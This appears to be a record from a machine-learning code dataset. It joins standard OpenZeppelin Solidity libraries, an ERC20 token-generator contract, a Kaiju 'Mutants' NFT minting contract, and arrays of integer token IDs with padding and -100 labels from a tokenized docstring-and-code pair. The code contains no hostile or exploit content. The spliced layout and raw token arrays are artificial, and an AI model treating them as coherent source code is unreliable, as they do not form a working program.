set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.7.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: @vittominacori/erc20-token/contracts/access/Roles.sol pragma solidity ^0.7.0; contract Roles is AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER"); bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR"); constructor () { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(OPERATOR_ROLE, _msgSender()); } modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "Roles: caller does not have the MINTER role"); _; } modifier onlyOperator() { require(hasRole(OPERATOR_ROLE, _msgSender()), "Roles: caller does not have the OPERATOR role"); _; } } // File: @vittominacori/erc20-token/contracts/ERC20Base.sol pragma solidity ^0.7.0; /** * @title ERC20Base * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Implementation of the ERC20Base */ contract ERC20Base is ERC20Capped, ERC20Burnable, ERC1363, Roles, TokenRecover { // indicates if minting is finished bool private _mintingFinished = false; // indicates if transfer is enabled bool private _transferEnabled = false; /** * @dev Emitted during finish minting */ event MintFinished(); /** * @dev Emitted during transfer enabling */ event TransferEnabled(); /** * @dev Emitted during transfer disabling */ event TransferDisabled(); /** * @dev Tokens can be minted only before minting finished. */ modifier canMint() { require(!_mintingFinished, "ERC20Base: minting is finished"); _; } /** * @dev Tokens can be moved only after if transfer enabled or if you are an approved operator. */ modifier canTransfer(address from) { require( _transferEnabled || hasRole(OPERATOR_ROLE, from), "ERC20Base: transfer is not enabled or from does not have the OPERATOR role" ); _; } /** * @param name Name of the token * @param symbol A symbol to be used as ticker * @param decimals Number of decimals. All the operations are done using the smallest and indivisible token unit * @param cap Maximum number of tokens mintable * @param initialSupply Initial token supply * @param transferEnabled If transfer is enabled on token creation * @param mintingFinished If minting is finished after token creation */ constructor( string memory name, string memory symbol, uint8 decimals, uint256 cap, uint256 initialSupply, bool transferEnabled, bool mintingFinished ) ERC20Capped(cap) ERC1363(name, symbol) { require( mintingFinished == false || cap == initialSupply, "ERC20Base: if finish minting, cap must be equal to initialSupply" ); _setupDecimals(decimals); if (initialSupply > 0) { _mint(owner(), initialSupply); } if (mintingFinished) { finishMinting(); } if (transferEnabled) { enableTransfer(); } } /** * @return if minting is finished or not. */ function mintingFinished() public view returns (bool) { return _mintingFinished; } /** * @return if transfer is enabled or not. */ function transferEnabled() public view returns (bool) { return _transferEnabled; } /** * @dev Function to mint tokens. * @param to The address that will receive the minted tokens * @param value The amount of tokens to mint */ function mint(address to, uint256 value) public canMint onlyMinter { _mint(to, value); } /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to * @param value The amount to be transferred * @return A boolean that indicates if the operation was successful. */ function transfer(address to, uint256 value) public virtual override(ERC20) canTransfer(_msgSender()) returns (bool) { return super.transfer(to, value); } /** * @dev Transfer tokens from one address to another. * @param from The address which you want to send tokens from * @param to The address which you want to transfer to * @param value the amount of tokens to be transferred * @return A boolean that indicates if the operation was successful. */ function transferFrom(address from, address to, uint256 value) public virtual override(ERC20) canTransfer(from) returns (bool) { return super.transferFrom(from, to, value); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual override(ERC20Burnable) canTransfer(_msgSender()){ super.burn(amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual override(ERC20Burnable) canTransfer(account){ super.burnFrom(account, amount); } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override canTransfer(spender) returns (bool) { return super.approve(spender, amount); } /** * @dev Function to stop minting new tokens. */ function finishMinting() public canMint onlyOwner { _mintingFinished = true; emit MintFinished(); } /** * @dev Function to enable transfers. */ function enableTransfer() public onlyOwner { _transferEnabled = true; emit TransferEnabled(); } /** * @dev Function to disable transfers. */ function disableTransfer() public onlyOwner { _transferEnabled = false; emit TransferDisabled(); } /** * @dev See {ERC20-_beforeTokenTransfer}. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Capped) { super._beforeTokenTransfer(from, to, amount); } } // File: contracts/BaseToken.sol pragma solidity ^0.7.1; /** * @title BaseToken * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Implementation of the BaseToken */ contract BaseToken is ERC20Base { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private constant _VERSION = "v3.2.0"; constructor ( string memory name, string memory symbol, uint8 decimals, uint256 cap, uint256 initialSupply, bool transferEnabled, bool mintingFinished ) ERC20Base(name, symbol, decimals, cap, initialSupply, transferEnabled, mintingFinished) {} /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public pure returns (string memory) { return _VERSION; } }
* @dev Extension of {ERC20} that allows token holders to destroy both their own tokens and those that they have an allowance for, in a way that can be recognized off-chain (via event analysis)./
abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; function burn(uint256 amount) public virtual{ _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual{ uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } }
13,953,458
[ 1, 3625, 434, 288, 654, 39, 3462, 97, 716, 5360, 1147, 366, 4665, 358, 5546, 3937, 3675, 4953, 2430, 471, 5348, 716, 2898, 1240, 392, 1699, 1359, 364, 16, 316, 279, 4031, 716, 848, 506, 16332, 3397, 17, 5639, 261, 21985, 871, 6285, 2934, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 4232, 39, 3462, 38, 321, 429, 353, 1772, 16, 4232, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 445, 18305, 12, 11890, 5034, 3844, 13, 1071, 5024, 95, 203, 3639, 389, 70, 321, 24899, 3576, 12021, 9334, 3844, 1769, 203, 565, 289, 203, 203, 565, 445, 18305, 1265, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 1071, 5024, 95, 203, 3639, 2254, 5034, 23850, 8905, 7009, 1359, 273, 1699, 1359, 12, 4631, 16, 389, 3576, 12021, 1435, 2934, 1717, 12, 8949, 16, 315, 654, 39, 3462, 30, 18305, 3844, 14399, 1699, 1359, 8863, 203, 203, 3639, 389, 12908, 537, 12, 4631, 16, 389, 3576, 12021, 9334, 23850, 8905, 7009, 1359, 1769, 203, 3639, 389, 70, 321, 12, 4631, 16, 3844, 1769, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: Unlicense // ////$$ /$$ /$$ //| $$ /$$/ |__/ //| $$ /$$/ /$$$$$$ /$$ /$$ /$$ /$$ //| $$$$$/ |____ $$| $$|__/| $$ | $$ //| $$ $$ /$$$$$$$| $$ /$$| $$ | $$ //| $$\ $$ /$$__ $$| $$| $$| $$ | $$ //| $$ \ $$| $$$$$$$| $$| $$| $$$$$$/ //|__/ \__/ \_______/|__/| $$ \______/ // /$$ | $$ // /$$ /$$ /$$ | $$$$$$/ //| $$ /$$/|__/ \______/ //| $$ /$$/ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ //| $$$$$/ | $$| $$__ $$ /$$__ $$|____ /$$/ //| $$ $$ | $$| $$ \ $$| $$ \ $$ /$$$$/ //| $$\ $$ | $$| $$ | $$| $$ | $$ /$$__/ //| $$ \ $$| $$| $$ | $$| $$$$$$$ /$$$$$$$$ //|__/ \__/|__/|__/ |__/ \____ $$|________/ // /$$ \ $$ // | $$$$$$/ // \______/ ///$$ /$$ /$$ /$$ //| $$$ /$$$ | $$ | $$ //| $$$$ /$$$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ //| $$ $$/$$ $$| $$ | $$|_ $$_/ |____ $$| $$__ $$|_ $$_/ /$$_____/ //| $$ $$$| $$| $$ | $$ | $$ /$$$$$$$| $$ \ $$ | $$ | $$$$$$ //| $$\ $ | $$| $$ | $$ | $$ /$$/$$__ $$| $$ | $$ | $$ /$$\____ $$ //| $$ \/ | $$| $$$$$$/ | $$$$/ $$$$$$$| $$ | $$ | $$$$//$$$$$$$/ //|__/ |__/ \______/ \___/ \_______/|__/ |__/ \___/ |_______/ // // // Thanks to all the homies that have supported us from the start! // To any of the homies just joining - we hope you enjoy your stay ;) pragma solidity ^0.8.0; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "./interfaces/IFailedExperiments.sol"; import "./interfaces/IMutants.sol"; import "./interfaces/IScales.sol"; contract Mutants is IMutants, ERC721, Ownable, ReentrancyGuard, VRFConsumerBase { using ECDSA for bytes32; bytes32 internal immutable LINK_KEY_HASH; uint256 internal immutable LINK_FEE; uint256 internal TOKEN_OFFSET; string internal PROVENANCE_HASH; string internal _baseTokenURI; IScales public SCALES; IFailedExperiments public immutable FAILED_EXPERIMENTS; uint256 public constant FAILED_EXPERIMENTS_SUPPLY = 1815; uint256 public constant CLAIM_LIMIT = 25; uint256 public constant override MAX_SUPPLY = 4000; uint256 public constant MAX_MINTABLE = MAX_SUPPLY - FAILED_EXPERIMENTS_SUPPLY; uint256 public constant MAX_TIER = 6; uint256 constant public MINT_PRICE = 0.06666 ether; uint256 public constant UPGRADE_COST = 150 ether; bool public revealed; address public signer; string public metadataURI; string public placeholderURI; uint256 public mintableSupply; uint256 public override totalSupply; mapping(uint256 => uint256) public override tier; mapping(bytes => bool) public signatureUsed; mapping(bytes4 => bool) public functionLocked; constructor( address failedExperiments, address vrfCoordinator, address linkToken, bytes32 keyHash, uint256 linkFee ) ERC721("KaijuMutant", "MUTANT") VRFConsumerBase(vrfCoordinator, linkToken) { FAILED_EXPERIMENTS = IFailedExperiments(failedExperiments); LINK_KEY_HASH = keyHash; LINK_FEE = linkFee; } /** * @notice Modifier applied to functions that will be disabled when they're no longer needed */ modifier lockable() { require(!functionLocked[msg.sig], "Function is locked"); _; } /** * @notice Lock individual functions that are no longer needed * @dev Only affects functions with the lockable modifier * @param id First 4 bytes of the calldata (i.e. function identifier) */ function lockFunction(bytes4 id) public onlyOwner { functionLocked[id] = true; } /** * @notice Override ERC721 _baseURI function to use base URI pattern */ function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * @notice Return token metadata * @param tokenId to return metadata for * @return token URI for the specified token */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return revealed ? ERC721.tokenURI(tokenId) : placeholderURI; } /** * @notice Token offset is added to the token ID (wrapped on overflow) to get metadata asset index */ function tokenOffset() public view returns (uint256) { require(TOKEN_OFFSET != 0, "Offset is not set"); return TOKEN_OFFSET; } /** * @notice Provenance hash is used as proof that token metadata has not been modified */ function provenanceHash() public view returns (string memory) { require(bytes(PROVENANCE_HASH).length != 0, "Provenance hash is not set"); return PROVENANCE_HASH; } /** * @notice Set token offset using Chainlink VRF * @dev https://docs.chain.link/docs/chainlink-vrf/ * @dev Can only be set once * @dev Provenance hash must already be set */ function setTokenOffset() public onlyOwner { require(TOKEN_OFFSET == 0, "Offset is already set"); provenanceHash(); requestRandomness(LINK_KEY_HASH, LINK_FEE); } /** * @notice Set provenance hash * @dev Can only be set once * @param _provenanceHash metadata proof string */ function setProvenanceHash(string memory _provenanceHash) public onlyOwner { require(bytes(PROVENANCE_HASH).length == 0, "Provenance hash is already set"); PROVENANCE_HASH = _provenanceHash; } /** * @notice Flip token metadata to revealed * @dev Can only be revealed after token offset has been set */ function flipRevealed() public lockable onlyOwner { tokenOffset(); revealed = !revealed; } /** * @notice Set SCALES token address * @param scales address of SCALES ERC20 token contract */ function setScales(address scales) public lockable onlyOwner { SCALES = IScales(scales); } /** * @notice Set signature signing address * @param _signer address of account used to create mint signatures */ function setSigner(address _signer) public lockable onlyOwner { signer = _signer; } /** * @notice Set base token URI * @param URI base metadata URI to be prepended to token ID */ function setBaseTokenURI(string memory URI) public lockable onlyOwner { _baseTokenURI = URI; } /** * @notice Set base token URI * @param URI base metadata URI to be prepended to token ID */ function setMetadataURI(string memory URI) public lockable onlyOwner { metadataURI = URI; } /** * @notice Set placeholder token URI * @param URI placeholder metadata returned before reveal */ function setPlaceholderURI(string memory URI) public onlyOwner { placeholderURI = URI; } /** * @notice Callback function for Chainlink VRF request randomness call * @dev Maximum offset value is the maximum token supply - 1 */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { TOKEN_OFFSET = randomness % MAX_SUPPLY; } /** * @notice Claim a mutant by burning a failed experiment * @param tokenIds of the failed experiments to be burned */ function claim(uint256[] calldata tokenIds) public nonReentrant { require( FAILED_EXPERIMENTS.isApprovedForAll(_msgSender(), address(this)), "Contract not approved" ); require(tokenIds.length <= CLAIM_LIMIT, "Exceeds claim limit"); for (uint256 i = 0; i < tokenIds.length; i++) { FAILED_EXPERIMENTS.transferFrom( _msgSender(), address(0x000000000000000000000000000000000000dEaD), tokenIds[i] ); _safeMint(_msgSender(), tokenIds[i]); } totalSupply += tokenIds.length; } /** * @notice Mint a mutant using a signature * @param amount of mutants to mint * @param signature created by signer account */ function mint(uint256 amount, bytes memory signature) public payable nonReentrant { require(!signatureUsed[signature], "Signature already used"); require(signer == ECDSA.recover( ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_msgSender(), amount, msg.value == 0))), signature ), "Invalid signature"); require(msg.value == 0 || msg.value == MINT_PRICE * amount , "Invalid Ether amount sent"); require(mintableSupply + amount <= MAX_MINTABLE, "Insufficient supply"); signatureUsed[signature] = true; for (uint256 i = 0; i < amount; i++) { _safeMint(_msgSender(), FAILED_EXPERIMENTS_SUPPLY + mintableSupply); mintableSupply += 1; } totalSupply += amount; } /** * @notice Spend scales to upgrade mutant tier * @param tokenId of the mutant to upgrade */ function upgrade(uint256 tokenId) public nonReentrant { require(tier[tokenId] < MAX_TIER, "Mutant already fully upgraded"); require(ownerOf(tokenId) == _msgSender(), "Caller not token owner"); SCALES.spend(_msgSender(), UPGRADE_COST); tier[tokenId] += 1; } /** * @notice Withdraw all ETH transferred to the contract */ function withdraw() external onlyOwner { Address.sendValue(payable(_msgSender()), address(this).balance); } /** * @notice Reclaim any unused LINK * @param amount of LINK to withdraw */ function withdrawLINK(uint256 amount) external onlyOwner { LINK.transfer(_msgSender(), amount); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "./ISpendable.sol"; interface IScales is ISpendable {} //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; interface IMutants is IERC721 { function MAX_SUPPLY() external view returns (uint256); function totalSupply() external view returns (uint256); function tier(uint256) external view returns (uint256); } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; interface IFailedExperiments is IERC721 {} // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra 